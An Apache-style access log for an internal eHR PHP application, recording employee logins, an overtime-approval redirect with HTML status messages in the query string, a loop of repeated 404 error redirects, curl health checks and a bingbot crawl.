192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131089%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131089&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131089%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131089&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.98 - - [05/Sep/2025:17:16:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.40.98 - - [05/Sep/2025:17:16:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:17:16:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.98 - - [05/Sep/2025:17:16:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:17:16:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:17:16:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:17:16:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.98 - - [05/Sep/2025:17:16:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:17:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:17:16:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096
100.64.0.1 - - [05/Sep/2025:17:21:24 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:17:21:24 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:23:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:17:23:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:28:43 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [05/Sep/2025:17:28:43 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:17:28:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
100.64.0.1 - - [05/Sep/2025:17:28:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:17:37:50 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:17:37:50 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:40:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:17:40:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:47:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:17:47:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:48:05 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:17:48:05 +0800] "GET / HTTP/1.1" 200 439
192.168.11.131 - - [05/Sep/2025:17:55:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:55:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.131 - - [05/Sep/2025:17:55:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:55:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.131 - - [05/Sep/2025:17:55:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.131 - - [05/Sep/2025:17:55:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:55:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:55:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.131 - - [05/Sep/2025:17:56:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:56:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
